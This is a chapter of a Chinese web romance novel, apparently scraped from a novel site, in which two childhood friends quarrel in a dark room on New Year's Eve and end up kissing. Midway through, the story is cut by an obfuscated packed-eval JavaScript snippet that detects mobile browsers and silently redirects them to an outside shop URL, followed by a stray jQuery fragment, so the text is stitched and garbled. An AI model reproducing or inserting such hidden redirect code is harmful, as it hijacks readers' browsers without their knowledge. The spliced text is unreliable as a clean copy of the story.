辛苗关上入户门,站在走廊上冷静了好一阵。
夜风瑟瑟,她身上只穿着毛衣,好不容易积攒起来的温度被风一吹,顷刻间消失的无影无踪,没过几分钟,鼻尖就有些冻麻了。
她深吸一口气,曲起手指刚准备敲门,却瞧见本该严丝合缝入户门没关住,敞开着一道微小的缝隙。
辛苗迟疑了两秒,推开房门走了进去。
屋里没开灯,一片漆黑。
辛苗停下脚步等了会儿,等眼睛适应了这片黑暗之后,才往四周扫了一眼……客厅没人,唯二能坐人的沙发和饭桌都空着,显然陈青禾不在这里。
辛苗抿了抿唇,直直往他卧室走去。
里面依旧黑着,不同的是陈青禾卧室的窗户正对着走廊,廊下的灯亮着,老旧的灯泡发出昏黄的光,从玻璃窗透进来,成了屋子里唯一的光源。
辛苗借着这点微弱的光线,一眼看见了陈青禾。
他就坐在窗下的写字台前,背对着房门,头微垂着,两手放在桌上,指尖像是捏着什么东西正在把玩着。听见动静,他背脊稍稍一僵,随即又松懈下来,整个过程都没有转过身看一眼。
辛苗被他的反应弄得心里有点没底。在卧室门口杵了好一会儿,她一咬牙,往里连跨了好几步,最终站定在距离他身后半米远的地方。
辛苗清清嗓子,特意换上了副轻快的语调:“陈青禾,你在干嘛?怎么不开灯?”
“没干嘛。”顿了几秒,陈青禾开口,声音莫名有些冷淡。他将手里的东西放到了一边,似是随口问道:“电话打完了?”
“嗯。”辛苗应了声,声音小小的,掩饰不住地心虚。
她撒了慌,有些不太敢直视陈青禾,视线在空里乱飘着。飘来飘去,便飘到了陈青禾的手边。只见那里安静坐着一只折纸青蛙,嘴巴刚好抵在他食指指尖位置,看上去就像是他用手在逗弄着它。
辛苗觉得那纸青蛙有点眼熟,一时却也没想起来在哪里见过……话说回来,陈青禾并不像是会折纸玩儿的人,这一幕很是反常。
辛苗有些无措,大脑像是被刚才的冷风吹得冻住了一般,半天运转不动。她沉默着不知道该说什么,只下意识舔了舔有些干涩的嘴唇。
还是陈青禾率先问起:“找我有事?”
辛苗回过神,忙道:“哦,就是听说你不舒服,我有点不放心,就过来看看。”
闻言,陈青禾侧过身看她了一眼,很快又收回视线。
房间里始终沉浸在黑暗中,他们彼此都看不真清楚对方,只听见陈青禾用他那平静疏离的语调说:“看到了,你可以走了。”
“你赶我?”辛苗整个人僵住,错愕的瞪大了眼睛。她仿佛听到了一件极其荒诞的事情,如遭雷击,令她难以置信。
刚认识的时候不算,这么些年来,陈青禾什么时候赶过她?哪怕她在他家里赖得再怎么晚,他再怎么觉得烦,也从来没说过“你走”之类的措辞。
辛苗顿时不干了,那点儿心虚瞬间消失的无影无踪。她瘪起嘴,跟他作对似的,不仅没走,还又上前一步,后腰靠在了写字台上边上,维持着跟他面对面姿势。
她站着,陈青禾坐着。
她低头,陈青禾正好仰起头。
黑暗混沌的屋子里,视线不期然的在空中撞上,这次,谁都没躲。
辛苗咬了咬唇,问:“刚才不是好好的,怎么就不舒服了?”
陈青禾说:“嗯,突然觉得。”
辛苗又问:“什么症状?”
陈青禾说:“头疼。”
辛苗继续追问:“好端端为什么会头疼?”
陈青禾默了几秒,笑了,嘲讽一般反问:“你是真不知道?”
辛苗怔住,诚实道:“不知道。”
陈青禾没再说话,一言不发的看着她,仗着夜色的掩映,肆无忌惮。如刀般锋利的视线刮过她的眉眼、鼻梁、最终定格在唇畔上。时间在静谧中一分一秒地渐渐流逝着,良久,他率先挪开了眼。
如果灯亮着,如果辛苗看得清,那么她就会看见陈青禾紧蹙着的眉心,泛红的眼底,和因为竭力克制而青筋乍起的太阳穴。但没有如果,屋里黑蒙蒙的,她什么都看不清。
辛苗歪着头追问:“你怎么不说话了?”
陈青禾呼吸滚烫,问她:“好玩吗?”
辛苗茫然:“什么?”
陈青禾:“谈恋爱,好玩吗?”
辛苗心脏顿时一凛,那种撒谎被抓包的心虚又卷土重来了。偏偏她是自作孽,哭都没地儿哭,只能硬着头皮往下道:“还……还行吧。”
这个答案让陈青禾喉间梗了下。垂在身侧的左手紧握,小拇指关节因为过于用力而发出“咔嗒”一声响,声音微弱,在两相对峙的紧迫时刻,毫不意外的被忽略。
然后,他自虐一般,又问:“你很喜欢他?”
辛苗继续瞎编:“嗯……算是吧。”
陈青禾又沉默了下来。他垂眸,看着桌上的纸青蛙,半晌,指尖在蛙背上轻点了一下,画着卷翘睫毛的纸青蛙便向前跳了一小格。见状,他笑了下,喉结滚动几番,再开口时,声音变得莫名的沙哑。
“嗯,有了喜欢的人,就好好喜欢他。跟我这种普通朋友,最好还是保持一些距离,这样对大家都好。”
话音落下,辛苗怔住。她整个人仿佛被雷劈了一样,僵硬地站在原地一动不动。陈青禾的话就像是被按了重复键,来来回回在她耳边循环播放着,辛苗脑袋是懵的,但身体的本能反应却无法违抗,她几乎控制不住的指尖发着颤,连带着一股酸涩冲上鼻腔,很快,水汽就莹满了眼底。
辛苗深吸一口气,竭力控制着不让眼泪掉下来。她试图凭借着所剩不多的理智去思考当下的情况……但是不行。她没有办法理智,只知道陈青禾要跟她“保持距离”。
保持个屁的距离!
这不就是要绝交的意思吗?
辛苗委屈死了,从跨年夜那天开始一直到今天,她整个人变得完全不像她自己。一遇到跟陈青禾有关系的事,就别别扭扭,思前想后,几番顾虑……她以前从来不这样的!这也就算了,她一个人彷徨、无措、试探、摸索,折腾了这么久,到头来俩人之间的关系还没先理清,就已经等来了他要跟她绝交!
辛苗死死咬住下唇,好半晌,等到鼻腔那股酸劲儿褪去了些,才敢开口问他:“陈青禾,你什么意思?”声音带着明显的哭腔,颤抖着,可怜巴巴的。
陈青禾无法自抑地心软了一瞬。
紧接着,却用更冷的语气道:“你听不懂吗?”
辛苗抬手在眼角抹了一把:“不懂,所以你最好把话说明白。”
陈青禾两腮肌肉紧绷,用超出寻常的克制力一字一句跟她解释:“辛苗,我没有要插足别人感情的想法,所以从今往后,你谈你的恋爱,我过我的生活,我们各自保持距离,互不打扰。行吗?”
辛苗的回答却只有两个字:“我、不!”
陈青禾不是很明白她这股莫名其妙的轴劲儿是哪里来的,为什么偏偏在此刻,在他几乎无法压抑本性中所有的偏执、阴暗和私欲的时候,她毫不退让,执拗的只想留在他身边。
夜色中,陈青禾的瞳孔像是浸了墨汁一般,在浓稠不见底的污黑当中,却又隐隐闪着零星的光。他目光仿佛带着刺,眨也不眨的扎在辛苗身上,像极了一只肉食动物锁定住他的猎物一般。
“你确定?不后悔?”陈青禾声音奇异的平静了下来。
“后悔什么?”辛苗反问道。但她实质上是有些心慌的。夜色遮蔽了她大半的视觉,人在看不见的情况下,其余感官会自动放大数倍。辛苗敏锐的察觉到了一丝危险的气息,但她并不相信陈青禾会做伤害她的事。因而,她丝毫不怯,梗着脖子道:“你要干嘛?揍我吗?你少吓唬人了,你才不会……”
话刚说到一半,戛然而止。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233575|130746||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黑沉沉的房间仿佛被隔绝在了世界之外,除夕的喧嚣声被按下静音键,时间定格,周遭的空气也停止流通。辛苗什么都感觉不到了,除了按在她脖颈上那只大而有力的手,和嘴唇上炙热干燥的触感。
她一双杏眼因为极致的惊讶而瞪得大大的,借着外头惨淡昏黄的光,她看清了眼前的人——少年双眸微闭着,长而直的睫毛轻轻颤动着。彼此之间的距离被无限拉近,她甚至能感觉到,他呼吸之间带来的气流拂过她的脸颊,是独属于陈青禾干净又清爽的气息。
他在吻我。
辛苗后知后觉的想到。
然而不等她在继续深想,原本单纯贴着她唇的人却动了。压着她后颈的那只手又用上了几分力道,随之一起的,是陈青禾高高仰起的脖颈也不自觉地往上抬了抬。
他是生涩的。从小成绩优异除了读书和运动再无其他爱好的少年在这方面的经验如同一张白纸。辛苗好歹还经历过偶像剧和言情小说的熏陶,但陈青禾却连这点纸上谈兵的经验也无,他近乎是凭借着自己的本能在摸索着。
少年干燥的唇紧紧贴着她的,少倾,似是不甚满足,稍稍分开了些,半秒钟的功夫,不等辛苗反应,再度贴了上来,狠狠地碾磨着她的嘴唇。
辛苗被他弄得有些疼,下意识的张开唇畔倒抽了口凉气,下一秒,他的舌尖便抵上那丝缝隙。寻到了更深处的去路,少年无师自通般,开始攻城掠池。扣着辛苗后颈的手力道又大了几分,辛苗被压得近乎整个上半身都陷进了他的怀里。
这是个真正意义上的吻。
与片刻之前的截然不同,它凶猛、蛮横、且充满了侵略性。
直到辛苗喘不上气来,对方才大发慈悲的松开了她。
辛苗第一反应就是直起身往后退了两步。
她脖子疼,腰也疼,脑袋更是懵的。
陈青禾却被她的反应狠狠刺痛了。
可他并不后悔,相反,他甚至觉得刚才不应该那么轻易的放过她,哪怕她会怕,会恨,很厌恶……随便吧,都随她,左右不过再被抛弃一次,那种感觉他熟。
唇边还残存着她清甜的味道,这种感觉让他迷恋。
陈青禾站起身,逼近两步,唇角挑起肆意的弧度。在这漆黑的房间里,所有的伪装都被统统撕碎,他仿佛变成了另一个人,一个与平日里截然不同的人。
他不再克制,不再淡漠,不再维持周围人眼中高智自矜的形象。此刻他是绝望的,那种看着自己费心守护了多年,小心翼翼、精心呵护着的珍宝被自己亲手推开、弄碎的绝望。
不仅如此,他还近乎自残一般,明知故问:“这下呢?后悔没走了吗?”
话落,下意识放轻了呼吸,既怕听到预想中的那个答案,又卑微的希冀着她能大度一些,看在他们多年情谊的份上,宽宥他。
可两种都不是。
辛苗站在那儿,身前是陈青禾,身后是陈青禾的床,她被挡在二者中间,避都没地方避开。但辛苗也没想走,她一手揪着毛衣边向下拽,手心里汗涔涔的,明明怂得要死,却仗着周围黑灯瞎火,陈青禾瞧不见她脸上的表情,生生鼓起了一种莫名其妙的胆量来。
“就、就这?”辛苗打了下磕绊,差点咬到自己。
陈青禾猝不及防的怔住:“什么?”
辛苗哼了一声:“那我也会。”
陈青禾不解,拧眉看她。
下一秒,偌大的冲击力从正前方直直撞进了他怀里,来人一副不管不顾豁出去的架势,蛮横地伸出手臂圈住了他的脖子。辛苗不给他半点儿反应的机会,凭借着刚才新鲜的经验,嘴巴直直撞了上去。
“咚”一声响,两人齐齐闷哼了声。
血腥气在交缠紧贴的唇齿间弥散了开来,分不清究竟是谁的。
墙那边,两家父母围坐在桌前,边看着春晚边聊着天。
一墙之隔,晦暗的房间里,他们紧紧拥抱在一起,肆无忌惮的接着吻。